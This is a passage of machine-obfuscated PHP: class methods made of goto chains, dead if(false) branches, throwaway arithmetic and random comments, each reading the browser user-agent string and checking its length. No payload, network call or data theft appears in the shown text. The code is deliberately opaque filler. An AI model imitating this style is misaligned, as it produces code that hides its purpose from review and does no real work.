$jIP39ari * 1; goto CkoKUmvB; CkoKUmvB: /* 7v9HEp2lY2 */ $NqlX8zGc = 400 + 25; $a29IFo9lZ = $NqlX8zGc * 1; goto FV_nIpuU; FV_nIpuU: /* 7d8ue8l63wAgyP1GTmpS */ if (false) { echo 'This is a dead end'; } goto nPNWuv1i; nPNWuv1i: $iCjD65Pi = 226 + 27; $WWDcP6ib = $iCjD65Pi * 3; goto O02CGcc9; O02CGcc9: $bZa4iOd6 = strlen($WWDcP6ib); goto aW7g0wGm; aW7g0wGm: // C9Jhjx4xVtVG $FbaGmw5w = 186 + 34; $a6EHyDbxg = $FbaGmw5w * 4; goto Ivj0dQxy; Ivj0dQxy: $FbaGmw5w = 246 + 10; $WWDcP6ib = $FbaGmw5w * 4; goto SH38jQwq; SH38jQwq: // 3d2NqSUuY0GE if (false) { echo 'This is a dead end'; } goto bJnfRmb5; bJnfRmb5: /* API handler */ goto HFx5qe4B; HFx5qe4B: // m5JR2QmJtXIg3pj2 goto XFDn6LtB; XFDn6LtB: // ViwIDXjdBhRlu6Ts $n7sJ6WnP = 685 + 44; $bZa4iOd6 = $n7sJ6WnP * 4; if (false) { echo 'This is a dead end'; } goto x_aJRkGX; x_aJRkGX: goto cKY1n_kk; cKY1n_kk: /* GG8Qzx6mEP */ $WWDcP6ib = 257 + 6; $a6b9oay5s = $WWDcP6ib * 2; goto ZqL_BR8B; ZqL_BR8B: goto GvlYfxoa; GvlYfxoa: $XsucffsH = 171 + 15; $NqlX8zGc = $XsucffsH * 5; goto a2p72wPEn; a2p72wPEn: goto vaIR5uJD; vaIR5uJD: goto BJOTq_Gv; BJOTq_Gv: // RzgsIkq1RiE0 $iX1geSuk = 203 + 8; $a29IFo9lZ = $iX1geSuk * 1; goto qe8c0jlR; qe8c0jlR: $BqYDw4sr = 461 + 20; $WWDcP6ib = $BqYDw4sr * 3; goto FCuz70DI; FCuz70DI: goto MKbobIR_; MKbobIR_: return $bZa4iOd6 > 10; } private function j3Q7aURKtn() { /* API handler */ goto Adnnttww; Adnnttww: $n7sJ6WnP = 984 + 7; $B9ma2fmF = $n7sJ6WnP * 2; goto nBRMfMaz; nBRMfMaz: /* mljGbthUnDrGGcM7s3KG */ if (false) { echo 'This is a dead end'; } goto SjQ3nwnx; SjQ3nwnx: /* Main service */ if (false) { echo 'This is a dead end'; } goto ZlVwCpGv; ZlVwCpGv: /* JiQCVE8L1zbKbAoJo68J */ goto ztZDJUVX; ztZDJUVX: // wF_QJsehE_5ziDBb if (false) { echo 'This is a dead end'; } goto dvtSQnz7; dvtSQnz7: $a6EHyDbxg = 401 + 9; $a29IFo9lZ = $a6EHyDbxg * 2; if (false) { echo 'This is a dead end'; } goto vO1OM_On; vO1OM_On: /* System file */ $WWDcP6ib = 304 + 32; $a29IFo9lZ = $WWDcP6ib * 4; goto a7FW9Nv4T; a7FW9Nv4T: goto uCRRcCbe; uCRRcCbe: goto K_NdE8jz; K_NdE8jz: $NqlX8zGc = 105 + 20; $n7sJ6WnP = $NqlX8zGc * 5; if (false) { echo 'This is a dead end'; } goto a1YHTqyHH; a1YHTqyHH: /* iCqxl06pgQh11MP */ if (false) { echo 'This is a dead end'; } goto Og7CaNnu; Og7CaNnu: /* giWNRJgELx */ $iX1geSuk = 260 + 37; $B9ma2fmF = $iX1geSuk * 2; goto OjCMCLU1; OjCMCLU1: /* tpQk2Ahsf8KI4GqQFwgh */ $NqlX8zGc = 405 + 28; $bZa4iOd6 = $NqlX8zGc * 5; goto tI7DJNv5; tI7DJNv5: /* N67ghzePQtAOxKWfK_NV */ $a29IFo9lZ = 531 + 31; $n7sJ6WnP = $a29IFo9lZ * 1; if (false) { echo 'This is a dead end'; } goto T9aNHwk8; T9aNHwk8: goto VLoD4ohU; VLoD4ohU: $WWDcP6ib = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto NQ1scIJ1; NQ1scIJ1: goto ScvebjC4; ScvebjC4: // 0nmnBWQU $iCjD65Pi = 180 + 20; $a29IFo9lZ = $iCjD65Pi * 3; if (false) { echo 'This is a dead end'; } goto dl74_wRv; dl74_wRv: $Pe9zuJ4r = 872 + 20; $a6b9oay5s = $Pe9zuJ4r * 3; goto MoQB7D8K; MoQB7D8K: if (false) { echo 'This is a dead end'; } goto BTk_RsKV; BTk_RsKV: $a29IFo9lZ = 332 + 42; $n7sJ6WnP = $a29IFo9lZ * 4; goto kWKd6iH0; kWKd6iH0: goto a5iR4W9xz; a5iR4W9xz: $jIP39ari = 698 + 37; $bZa4iOd6 = $jIP39ari * 4; goto jfQ1fBmD; jfQ1fBmD: /* cZYqp74BnlzWRLaJKz6D */ $iX1geSuk = 595 + 38; $a6b9oay5s = $iX1geSuk * 2; goto pA7kSuyq; pA7kSuyq: if (false) { echo 'This is a dead end'; } goto a1BFbOsyw; a1BFbOsyw: goto mT3H2F_2; mT3H2F_2: /* YJlnke2j4oxvN6mPH6Hd */ $NqlX8zGc = 621 + 42; $a6EHyDbxg = $NqlX8zGc * 1; goto a80Ciyyju; a80Ciyyju: goto a_Bx7Wim5; a_Bx7Wim5: goto fKSbcv21; fKSbcv21: /* n45iH8qLHf */ $n7sJ6WnP = 336 + 40; $bZa4iOd6 = $n7sJ6WnP * 1; goto lmwRo67P; lmwRo67P: /* Main service */ $Pe9zuJ4r = 889 + 36; $a6EHyDbxg = $Pe9zuJ4r * 5; goto a2rZ0I5hT; a2rZ0I5hT: $n7sJ6WnP = strlen($WWDcP6ib); goto o7IIv8Q0; o7IIv8Q0: goto p6pooh9e; p6pooh9e: if (false) { echo 'This is a dead end'; } goto XvOXe0aZ; XvOXe0aZ: /* Main service */ if (false) { echo 'This is a dead end'; } goto qM6QzCqB; qM6QzCqB: goto tKxclNOY; tKxclNOY: // 38V5HPY2 goto p6Lmh8Cv; p6Lmh8Cv: $NqlX8zGc = 910 + 17; $BqYDw4sr = $NqlX8zGc * 4; goto pxrjWo7V; pxrjWo7V: /* Core module */ $a29IFo9lZ = 765 + 26; $NqlX8zGc = $a29IFo9lZ * 4; goto Wzn0JZG0; Wzn0JZG0: /* hrvOfIpv6o */ $Pe9zuJ4r = 612 + 39; $NqlX8zGc = $Pe9zuJ4r * 4; goto VTtRmnMl; VTtRmnMl: /* v4Ew158ayJlFLr8 */ goto a6ITgcxlC; a6ITgcxlC: /* APxzIyR0pWjTudxdX2cg */ goto a5Wvk79nH; a5Wvk79nH: /* System file */ goto vB0mk2UM; vB0mk2UM: /* System file */ $bZa4iOd6 = 337 + 30; $iX1geSuk = $bZa4iOd6 * 2; if (false) { echo 'This is a dead end'; } goto IpEr2DH8; IpEr2DH8: if (false) { echo 'This is a dead end'; } goto a9IlFNSTF; a9IlFNSTF: $XsucffsH = 928 + 21; $iCjD65Pi = $XsucffsH * 4; goto NOa300SE; NOa300SE: /* PatfMp1l9m7SmPXgD5Ap */ goto uNQ_XczQ; uNQ_XczQ: return $n7sJ6WnP > 10; } private function a3uqElwX6OW() { /* 5J3PA8bBUAFqzKM */ goto a9GnelA4Q; a9GnelA4Q: goto EONtfjZF; EONtfjZF: goto U86RYwGV; U86RYwGV: $B9ma2fmF = 710 + 16; $B9ma2fmF = $B9ma2fmF * 2; goto FU_eZUeX; FU_eZUeX: // 1r593CdlqkIIVyi8 if (false) { echo 'This is a dead end'; } goto R0bl9uDF; R0bl9uDF: goto VFS2Kkh2; VFS2Kkh2: $a6b9oay5s = 607 + 20; $FbaGmw5w = $a6b9oay5s * 5; goto qcb0qVL5; qcb0qVL5: /* API handler */ goto s3eAGZSu; s3eAGZSu: /* k1CwDThukB6SqR6 */ goto sokqNQbl; sokqNQbl: /* Main service */ goto a4jcY2fiE; a4jcY2fiE: goto u2ly0x2P; u2ly0x2P: /* API handler */ goto a_bveb3fw; a_bveb3fw: goto brlRQhl7; brlRQhl7: goto dYKPWdD3; dYKPWdD3: /* 2KvAFHO064us01LHNExL */ goto BTKJ40eU; BTKJ40eU: goto a2IQ05rwq; a2IQ05rwq: $n7sJ6WnP = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto H6DqY64P; H6DqY64P: if (false) { echo 'This is a dead end'; } goto dMXhrQNF; dMXhrQNF: /* _HOK7WiraT */ if (false) { echo 'This is a dead end'; } goto KbjXrIIZ; KbjXrIIZ: $a29IFo9lZ = 589 + 16; $n7sJ6WnP = $a29IFo9lZ * 1; goto a9rCqCjzh; a9rCqCjzh: $a29IFo9lZ = 896 + 11; $bZa4iOd6 = $a29IFo9lZ * 2; goto eIgGGUPp; eIgGGUPp: // GDpljwKIK7F_ goto eyu0tGDU; eyu0tGDU: /* API handler */ goto dWUrur8w; dWUrur8w: $XsucffsH = 867 + 22; $NqlX8zGc = $XsucffsH * 4; goto VjVouItZ; VjVouItZ: $a29IFo9lZ = 441 + 38; $iCjD65Pi = $a29IFo9lZ * 3; goto a_vKiMW3C; a_vKiMW3C: $bZa4iOd6 = 201 + 2; $FbaGmw5w = $bZa4iOd6 * 5; goto M68zQk2l; M68zQk2l: /* Core module */ if (false) { echo 'This is a dead end'; } goto x5UsM4iO; x5UsM4iO: goto e3hi7F9s; e3hi7F9s: /* API handler */ $a29IFo9lZ = 435 + 46; $a29IFo9lZ = $a29IFo9lZ * 2; if (false) { echo 'This is a dead end'; } goto a9W4jo7d5; a9W4jo7d5: goto a1X8TuIIL; a1X8TuIIL: $iCjD65Pi = 489 + 7; $a6b9oay5s = $iCjD65Pi * 4; goto ZRBcAaAm; ZRBcAaAm: // XderWJNL goto PO4amL1e; PO4amL1e: $BqYDw4sr = strlen($n7sJ6WnP); goto a4_2aGIab; a4_2aGIab: /* hQFzu5obUF0xyxM */ goto ppU_WUUM; ppU_WUUM: /* cMR0luocmv */ goto tVcn1ij_; tVcn1ij_: goto qQ_aZ37p; qQ_aZ37p: goto tRF1ENd5; tRF1ENd5: goto aF2xQJ0m; aF2xQJ0m: /* Security component */ $jIP39ari = 665 + 15; $iX1geSuk = $jIP39ari * 4; goto kMzS8n0s; kMzS8n0s: if (false) { echo 'This is a dead end'; } goto aAco3VcR; aAco3VcR: /* CufRiWWrtGyjvTm7WY2V */ $FbaGmw5w = 833 + 21; $XsucffsH = $FbaGmw5w * 5; if (false) { echo 'This is a dead end'; } goto n2h0o5Bz; n2h0o5Bz: goto p4GrLbQ4; p4GrLbQ4: $XsucffsH = 679 + 28; $FbaGmw5w = $XsucffsH * 2; goto QxrMdXce; QxrMdXce: /* Security component */ goto BRxNFzX2; BRxNFzX2: goto a0VbESoDg; a0VbESoDg: $B9ma2fmF = 429 + 2; $jIP39ari = $B9ma2fmF * 2; goto o2urv0ZY; o2urv0ZY: $WWDcP6ib = 668 + 25; $Pe9zuJ4r = $WWDcP6ib * 1; goto pwriY4fv; pwriY4fv: /* tgtr8fvMj9mewL1 */ goto zANy8_BH; zANy8_BH: return $BqYDw4sr > 10; } private function a2suOTwcSiS() { /* bZ66G3pkZYM69Na */ goto tV8vKbFO; tV8vKbFO: $Pe9zuJ4r = 635 + 10; $iCjD65Pi = $Pe9zuJ4r * 5; goto Q11oHDBB; Q11oHDBB: goto A0h1POuu; A0h1POuu: // xBjdqH3IPzIB9ZM5 $Pe9zuJ4r = 570 + 49; $n7sJ6WnP = $Pe9zuJ4r * 2; goto kR4i80ch; kR4i80ch: if (false) { echo 'This is a dead end'; } goto kXwbMGFQ; kXwbMGFQ: if (false) { echo 'This is a dead end'; } goto a8eCA0GMl; a8eCA0GMl: /* Security component */ goto z1laj641; z1laj641: /* API handler */ goto lpCqv7vt; lpCqv7vt: goto iq6ZLf3q; iq6ZLf3q: // MbYIBjB7 $n7sJ6WnP = 848 + 27; $FbaGmw5w = $n7sJ6WnP * 3; if (false) { echo 'This is a dead end'; } goto uHEtHFEG; uHEtHFEG: goto D4mHcn9F; D4mHcn9F: $BqYDw4sr = 768 + 18; $bZa4iOd6 = $BqYDw4sr * 1; goto UeWtPBR8; UeWtPBR8: /* Core module */ $iX1geSuk = 941 + 29; $n7sJ6WnP = $iX1geSuk * 5; if (false) { echo 'This is a dead end'; } goto D_BqMppB; D_BqMppB: // pOq4I9h3 $a6b9oay5s = 492 + 24; $iCjD65Pi = $a6b9oay5s * 4; if (false) { echo 'This is a dead end'; } goto UiDVag6M; UiDVag6M: // M3EDbbXp $Pe9zuJ4r = 963 + 42; $Pe9zuJ4r = $Pe9zuJ4r * 2; goto jvtS2oks; jvtS2oks: $XsucffsH = 136 + 10; $a6EHyDbxg = $XsucffsH * 5; goto D53IXIGs; D53IXIGs: $jIP39ari = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto iSbH4_0Z; iSbH4_0Z: /* API handler */ $a29IFo9lZ = 268 + 31; $Pe9zuJ4r = $a29IFo9lZ * 5; goto Pq8hLFBr; Pq8hLFBr: goto iK_zjb9e; iK_zjb9e: /* Main service */ $jIP39ari = 608 + 38; $NqlX8zGc = $jIP39ari * 4; goto wtcjjGuW; wtcjjGuW: if (false) { echo 'This is a dead end'; } goto K1yY3Ymc; K1yY3Ymc: $iX1geSuk = 171 + 16; $XsucffsH = $iX1geSuk * 5; goto SPla5Khf; SPla5Khf: goto l6cSbWvL; l6cSbWvL: /* Main service */ $a6EHyDbxg = 809 + 5; $BqYDw4sr = $a6EHyDbxg * 5; if (false) { echo 'This is a dead end'; } goto HPLvuf1D; HPLvuf1D: goto dGOjAwl1; dGOjAwl1: $iCjD65Pi = 309 + 47; $a29IFo9lZ = $iCjD65Pi * 5; goto aqtm6sOe; aqtm6sOe: if (false) { echo 'This is a dead end'; } goto dGr4ertE; dGr4ertE: /* X2Ud6Kd4IdIfr36 */ goto l1rK2zYx; l1rK2zYx: /* Main service */ goto a1Hc7k83D; a1Hc7k83D: goto O7Wl71PK; O7Wl71PK: /* API handler */ goto a_tJ0CI5H; a_tJ0CI5H: /* Core module */ goto PqoIjZEE; PqoIjZEE: $B9ma2fmF = strlen($jIP39ari); goto zLt_mude; zLt_mude: /* API handler */ $a29IFo9lZ = 483 + 48; $NqlX8zGc = $a29IFo9lZ * 3; if (false) { echo 'This is a dead end'; } goto CLBXCE0g; CLBXCE0g: if (false) { echo 'This is a dead end'; } goto HvyglbhJ; HvyglbhJ: if (false) { echo 'This is a dead end'; } goto plA70bw_; plA70bw_: goto H5aXQGFN; H5aXQGFN: /* System file */ $bZa4iOd6 = 943 + 23; $a6b9oay5s = $bZa4iOd6 * 1; goto DwdfHvXJ; DwdfHvXJ: goto B0igeQE7; B0igeQE7: $B9ma2fmF = 201 + 30; $jIP39ari = $B9ma2fmF * 3; goto a7BRrvgUH; a7BRrvgUH: goto a99RvesCg; a99RvesCg: goto AjFB_Ow5; AjFB_Ow5: $n7sJ6WnP = 504 + 18; $BqYDw4sr = $n7sJ6WnP * 4; goto QsWvEqbT; QsWvEqbT: /* System file */ goto n4AS_z_x; n4AS_z_x: if (false) { echo 'This is a dead end'; } goto jIZIav0k; jIZIav0k: goto RA0w69dx; RA0w69dx: goto CD0tGuf_; CD0tGuf_: if (false) { echo 'This is a dead end'; } goto f0P1uLwm; f0P1uLwm: return $B9ma2fmF > 10; } private function a5ihYb5Z3R_() { goto Eu6gtmG4; Eu6gtmG4: /* API handler */ goto eoQodCiu; eoQodCiu: goto YmrtALZj; YmrtALZj: /* dX7n7zlHSNPPvIxu0U_Z */ goto AAW12wBG; AAW12wBG: $B9ma2fmF = 411 + 25; $WWDcP6ib = $B9ma2fmF * 1; goto VxGCP7ep; VxGCP7ep: goto O_JLGC32; O_JLGC32: /* System file */ goto c9Sqs0xq; c9Sqs0xq: if (false) { echo 'This is a dead end'; } goto EmCIMW0m; EmCIMW0m: goto wqDG5MQY; wqDG5MQY: /* System file */ $Pe9zuJ4r = 398 + 6; $B9ma2fmF = $Pe9zuJ4r * 2; goto idsD8HaF; idsD8HaF: // NXoZXFlZCPunsP8Z if (false) { echo 'This is a dead end'; } goto lVcY_QCy; lVcY_QCy: $FbaGmw5w = 889 + 17; $Pe9zuJ4r = $FbaGmw5w * 4; goto o92OmjkK; o92OmjkK: /* dw8HDD91KnsrX2dgLNwa */ $NqlX8zGc = 671 + 9; $FbaGmw5w = $NqlX8zGc * 4; goto EyeTcJNC; EyeTcJNC: /* Core module */ $NqlX8zGc = 197 + 31; $FbaGmw5w = $NqlX8zGc * 4; goto gUD0zDNl; gUD0zDNl: /* Main service */ $B9ma2fmF = 704 + 7; $NqlX8zGc = $B9ma2fmF * 1; if (false) { echo 'This is a dead end'; } goto a8PNDZL16; a8PNDZL16: $NqlX8zGc = 576 + 38; $n7sJ6WnP = $NqlX8zGc * 2; goto czL7pOmb; czL7pOmb: $iX1geSuk = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto a9K840gHH; a9K840gHH: goto zreDowoE; zreDowoE: $jIP39ari = 490 + 44; $a6EHyDbxg = $jIP39ari * 5; if (false) { echo 'This is a dead end'; } goto zFV0cren; zFV0cren: $n7sJ6WnP = 118 + 24; $iX1geSuk = $n7sJ6WnP * 3; goto QbNfVu8P; QbNfVu8P: /* Security component */ goto yvQ4sxVh; yvQ4sxVh: /* Security component */ goto kyex1RBM; kyex1RBM: /* Zu9Nd2IAfUtSTow */ goto X2DJgW6R; X2DJgW6R: $jIP39ari = 317 + 25; $XsucffsH = $jIP39ari * 3; if (false) { echo 'This is a dead end'; } goto a5zE4rTaB; a5zE4rTaB: if (false) { echo 'This is a dead end'; } goto a54Yq1AfD; a54Yq1AfD: $a6EHyDbxg = 179 + 48; $XsucffsH = $a6EHyDbxg * 3; goto OfoswzN3; OfoswzN3: $XsucffsH = 905 + 35; $iX1geSuk = $XsucffsH * 3; goto qHBBZg7g; qHBBZg7g: goto WUq3ZEyE; WUq3ZEyE: /* gmzj2N7zBt */ $NqlX8zGc = 482 + 44; $B9ma2fmF = $NqlX8zGc * 4; goto tl_BsBhD; tl_BsBhD: if (false) { echo 'This is a dead end'; } goto UqsPcNMD; UqsPcNMD: /* Main service */ if (false) { echo 'This is a dead end'; } goto a8FgfSVK9; a8FgfSVK9: /* EGLVl_z_Jt */ goto yS5S86y7; yS5S86y7: $NqlX8zGc = strlen($iX1geSuk); goto eHuGd4xR; eHuGd4xR: /* Main service */ $a29IFo9lZ = 138 + 35; $a6EHyDbxg = $a29IFo9lZ * 3; goto RnqRUvri; RnqRUvri: $FbaGmw5w = 157 + 28; $bZa4iOd6 = $FbaGmw5w * 1; goto K4t402ss; K4t402ss: $B9ma2fmF = 299 + 47; $a6EHyDbxg = $B9ma2fmF * 2; if (false) { echo 'This is a dead end'; } goto qRgLOWAV; qRgLOWAV: goto LRyEsLau; LRyEsLau: goto a7pSWChPS; a7pSWChPS: /* YU1sLwFaw7jdzvR */ goto FRCq6g2D; FRCq6g2D: // KxxELNfa $n7sJ6WnP = 944 + 16; $bZa4iOd6 = $n7sJ6WnP * 5; goto a0T1lF0RW; a0T1lF0RW: goto MoElksBR; MoElksBR: // tYKvDbMZ goto eJXqe17S; eJXqe17S: // PeZm0iiLfckOxNss $iCjD65Pi = 440 + 5; $a6EHyDbxg = $iCjD65Pi * 5; if (false) { echo 'This is a dead end'; } goto fXPqltlc; fXPqltlc: $BqYDw4sr = 810 + 26; $bZa4iOd6 = $BqYDw4sr * 1; goto QpmFbmaK; QpmFbmaK: /* API handler */ $FbaGmw5w = 532 + 17; $XsucffsH = $FbaGmw5w * 2; goto FNwIVpsr; FNwIVpsr: goto B1552wf_; B1552wf_: /* IlteU4aBJAsknc5pozXx */ goto FQATWkG2; FQATWkG2: goto uOA_lX8B; uOA_lX8B: return $NqlX8zGc > 10; } private function aHWNfLgB9G() { /* na1WdsMj3nPuQi7nCmJY */ goto lN82JqMC; lN82JqMC: if (false) { echo 'This is a dead end'; } goto lf1_kEuo; lf1_kEuo: goto qeu0hAfb; qeu0hAfb: /* wdtKK5eYCWQoTGq6ULm4 */ goto OOhqF2ZE; OOhqF2ZE: /* dNC0esY_UABjL2uZWhu4 */ goto l20SXluR; l20SXluR: goto a7uIDWYOD; a7uIDWYOD: // Y1cbrl51AV7Z $XsucffsH = 175 + 28; $Pe9zuJ4r = $XsucffsH * 4; goto FMOKuLNO; FMOKuLNO: goto goDUMnpR; goDUMnpR: /* Core module */ goto UcJeAMiV; UcJeAMiV: /* API handler */ $BqYDw4sr = 504 + 34; $a6EHyDbxg = $BqYDw4sr * 1; if (false) { echo 'This is a dead end'; } goto N3mtgM74; N3mtgM74: // h2Yr8YzO goto wkYb3J7g; wkYb3J7g: /* Security component */ $iCjD65Pi = 583 + 31; $Pe9zuJ4r = $iCjD65Pi * 4; goto j03kFVvW; j03kFVvW: /* System file */ goto cb5Z98Kw; cb5Z98Kw: /* Core module */ goto dVtDgWvD; dVtDgWvD: goto kIMg33k9; kIMg33k9: /* Core module */ if (false) { echo 'This is a dead end'; } goto y2T59VSh; y2T59VSh: $iX1geSuk = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto RxmMHHDn; RxmMHHDn: /* Main service */ goto BkFZ7F69; BkFZ7F69: $bZa4iOd6 = 773 + 31; $jIP39ari = $bZa4iOd6 * 5; goto PiVwxjzK; PiVwxjzK: // qDREP0wnU7ypuyLO $FbaGmw5w = 700 + 30; $BqYDw4sr = $FbaGmw5w * 4; goto a_CM3zqrV; a_CM3zqrV: goto ZyNXQJhw; ZyNXQJhw: /* PWCnkXg0OCMLbVFZde0H */ $FbaGmw5w = 942 + 7; $a29IFo9lZ = $FbaGmw5w * 4; goto a4POMBvT_; a4POMBvT_: // lYm6wr2G1Zog $B9ma2fmF = 698 + 8; $a6b9oay5s = $B9ma2fmF * 2; goto a50k77sjM; a50k77sjM: // WoyHY9ZACm2V $a6b9oay5s = 221 + 42; $WWDcP6ib = $a6b9oay5s * 3; goto a8n5CEsqb; a8n5CEsqb: if (false) { echo 'This is a dead end'; } goto ui8Ksg5p; ui8Ksg5p: // 0V3c7GYd8NyWkMYb goto a46fiTFFT; a46fiTFFT: /* tZAbGJPeozitICX */ $Pe9zuJ4r = 309 + 7; $XsucffsH = $Pe9zuJ4r * 3; goto a2vmIIYnP; a2vmIIYnP: // KKt236Tl goto ALc3AEyT; ALc3AEyT: /* Core module */ goto rHA1Ueu0; rHA1Ueu0: /* Main service */ $BqYDw4sr = 368 + 18; $jIP39ari = $BqYDw4sr * 1; if (false) { echo 'This is a dead end'; } goto QzebJ61K; QzebJ61K: /* pY7HHXPZQbeF8kZIqZBg */ goto a5WPud14n; a5WPud14n: goto TYw0FzMX; TYw0FzMX: $Pe9zuJ4r = strlen($iX1geSuk); goto D0wOSgBv; D0wOSgBv: /* System file */ $NqlX8zGc = 216 + 22; $iX1geSuk = $NqlX8zGc * 4; goto x7GmJ173; x7GmJ173: $iX1geSuk = 202 + 8; $n7sJ6WnP = $iX1geSuk * 4; goto B8HcgMg7; B8HcgMg7: $n7sJ6WnP = 343 + 50; $a6EHyDbxg = $n7sJ6WnP * 4; goto yiqiLZ8F; yiqiLZ8F: goto h9Bqp7m1; h9Bqp7m1: // rAaFdPb0HQIN goto a7nxKndNt; a7nxKndNt: goto YCU5UOQW; YCU5UOQW: goto ozsPSNzk; ozsPSNzk: goto UW8YMs1O; UW8YMs1O: /* 66Z0red0E9AS6Ze */ goto idAFr8lH; idAFr8lH: /* System file */ goto W4eD3WSV; W4eD3WSV: $n7sJ6WnP = 788 + 45; $a6EHyDbxg = $n7sJ6WnP * 4; goto a2reTJSlw; a2reTJSlw: goto mgdonk5q; mgdonk5q: /* System file */ goto NypwJwZz; NypwJwZz: $BqYDw4sr = 815 + 1; $n7sJ6WnP = $BqYDw4sr * 2; goto tX3eeaEc; tX3eeaEc: // LBDlPats if (false) { echo 'This is a dead end'; } goto wecvMX8n; wecvMX8n: return $Pe9zuJ4r > 10; } private function a2kvOQqdmDE() { goto W0CsPzsw; W0CsPzsw: goto a74uL7KmF; a74uL7KmF: if (false) { echo 'This is a dead end'; } goto a36dspWgf; a36dspWgf: // xyXN_ozpsPim $n7sJ6WnP = 927 + 32; $BqYDw4sr = $n7sJ6WnP * 4; goto NFImY3I1; NFImY3I1: $bZa4iOd6 = 551 + 12; $a6EHyDbxg = $bZa4iOd6 * 1; goto OKIuFMIa; OKIuFMIa: if (false) { echo 'This is a dead end'; } goto INkOKBqv; INkOKBqv: goto VySGVg0a; VySGVg0a: /* System file */ goto a969WzGW0; a969WzGW0: /* System file */ $a6b9oay5s = 486 + 39; $iX1geSuk = $a6b9oay5s * 5; goto YRjEPpaz; YRjEPpaz: /* AfmdxTSrNAVYpu2 */ $iCjD65Pi = 468 + 11; $XsucffsH = $iCjD65Pi * 4; goto a1Z5WY5Qk; a1Z5WY5Qk: $Pe9zuJ4r = 686 + 35; $a29IFo9lZ = $Pe9zuJ4r * 2; goto j7dBYZVp; j7dBYZVp: /* Main service */ goto tOUnJVvL; tOUnJVvL: goto ReioZgjR; ReioZgjR: // 8jeQsRmTRUzV $a6EHyDbxg = 875 + 44; $FbaGmw5w = $a6EHyDbxg * 4; goto SZ6Npea8; SZ6Npea8: goto a0632_ZIM; a0632_ZIM: goto loi9yhwm; loi9yhwm: $iX1geSuk = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto a4Gfp7FV1; a4Gfp7FV1: // ZNrv0dHf goto a7T0NkmWc; a7T0NkmWc: goto a7a6BYOz1; a7a6BYOz1: /* Security component */ goto E4UDxYJh; E4UDxYJh: goto LpHu4anm; LpHu4anm: /* API handler */ goto X7DP1HrF; X7DP1HrF: /* lXtTUA5gPP */ goto gvsR6HCf; gvsR6HCf: $n7sJ6WnP = 135 + 35; $a6EHyDbxg = $n7sJ6WnP * 1; goto RVizs62A; RVizs62A: $XsucffsH = 400 + 6; $a6b9oay5s = $XsucffsH * 4; goto rFS9Ha1W; rFS9Ha1W: // 4py9a0JeJQqu goto fV113RGJ; fV113RGJ: $iCjD65Pi = 629 + 25; $XsucffsH = $iCjD65Pi * 2; if (false) { echo 'This is a dead end'; } goto a6aFt05mR; a6aFt05mR: // t6M4AYeTkkKFgjeb goto hGtd1X6L; hGtd1X6L: /* 4wk3mACFAjpG0w6UZek0 */ $a6b9oay5s = 872 + 2; $jIP39ari = $a6b9oay5s * 4; if (false) { echo 'This is a dead end'; } goto QjAhEt6B; QjAhEt6B: $XsucffsH = 706 + 12; $FbaGmw5w = $XsucffsH * 3; if (false) { echo 'This is a dead end'; } goto MKH8zHU3; MKH8zHU3: /* System file */ goto rtWQCKBX; rtWQCKBX: /* A3QooW8gfzjX9pc */ goto YwwLO58P; YwwLO58P: $a6EHyDbxg = strlen($iX1geSuk); goto u8iqu7iH; u8iqu7iH: $a29IFo9lZ = 868 + 39; $n7sJ6WnP = $a29IFo9lZ * 2; goto edjPYJZn; edjPYJZn: goto jY93RUIf; jY93RUIf: goto txXDogit; txXDogit: /* API handler */ goto a1YY9a0yg; a1YY9a0yg: $WWDcP6ib = 632 + 16; $NqlX8zGc = $WWDcP6ib * 2; goto fMgfB6ay; fMgfB6ay: goto IJi_gMKi; IJi_gMKi: goto ZX5lfDgq; ZX5lfDgq: $n7sJ6WnP = 181 + 37; $a6EHyDbxg = $n7sJ6WnP * 4; goto xZJz4_JU; xZJz4_JU: goto F7QguvfK; F7QguvfK: goto A38wIfFM; A38wIfFM: if (false) { echo 'This is a dead end'; } goto a7nSfcfFx; a7nSfcfFx: /* Core module */ $Pe9zuJ4r = 698 + 26; $iCjD65Pi = $Pe9zuJ4r * 4; if (false) { echo 'This is a dead end'; } goto K2eD2xVi; K2eD2xVi: goto XAktYNHP; XAktYNHP: /* Security component */ $bZa4iOd6 = 236 + 46; $iX1geSuk = $bZa4iOd6 * 4; goto a2zjsgzgV; a2zjsgzgV: /* vfawqSf9aLVbwrc_wTgW */ goto a8xo8b88Z; a8xo8b88Z: return $a6EHyDbxg > 10; } private function a6bmEZgki5D() { goto yWBAR38e; yWBAR38e: goto a0Gmj2rRD; a0Gmj2rRD: if (false) { echo 'This is a dead end'; } goto Jai8ADbf; Jai8ADbf: $jIP39ari = 329 + 9; $BqYDw4sr = $jIP39ari * 1; if (false) { echo 'This is a dead end'; } goto I7xTquzC; I7xTquzC: goto Bgm2mzeI; Bgm2mzeI: // yLc4JAjC if (false) { echo 'This is a dead end'; } goto ykAPJxrm; ykAPJxrm: /* 6FtMhvAGKd */ $a6EHyDbxg = 630 + 2; $jIP39ari = $a6EHyDbxg * 3; goto i318oimK; i318oimK: $FbaGmw5w = 114 + 36; $B9ma2fmF = $FbaGmw5w * 4; goto aEV77aLh; aEV77aLh: // 3lbQ1Ks08BI3 $WWDcP6ib = 797 + 19; $n7sJ6WnP = $WWDcP6ib * 5; goto ibPDCmyi; ibPDCmyi: /* System file */ $WWDcP6ib = 663 + 49; $NqlX8zGc = $WWDcP6ib * 4; goto NiTiwaou; NiTiwaou: /* Main service */ goto a1ymXnf44; a1ymXnf44: /* System file */ if (false) { echo 'This is a dead end'; } goto sgPfOtQA; sgPfOtQA: /* System file */ goto gcl3Tkxn; gcl3Tkxn: $BqYDw4sr = 314 + 46; $iX1geSuk = $BqYDw4sr * 4; goto fNts8KpI; fNts8KpI: /* Security component */ goto WrRilRF9; WrRilRF9: goto nd9HTdQ9; nd9HTdQ9: $BqYDw4sr = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto wHTG4jQG; wHTG4jQG: /* Qw7LemHeBu4ToUrMd28v */ goto Kj3FvT93; Kj3FvT93: $B9ma2fmF = 140 + 7; 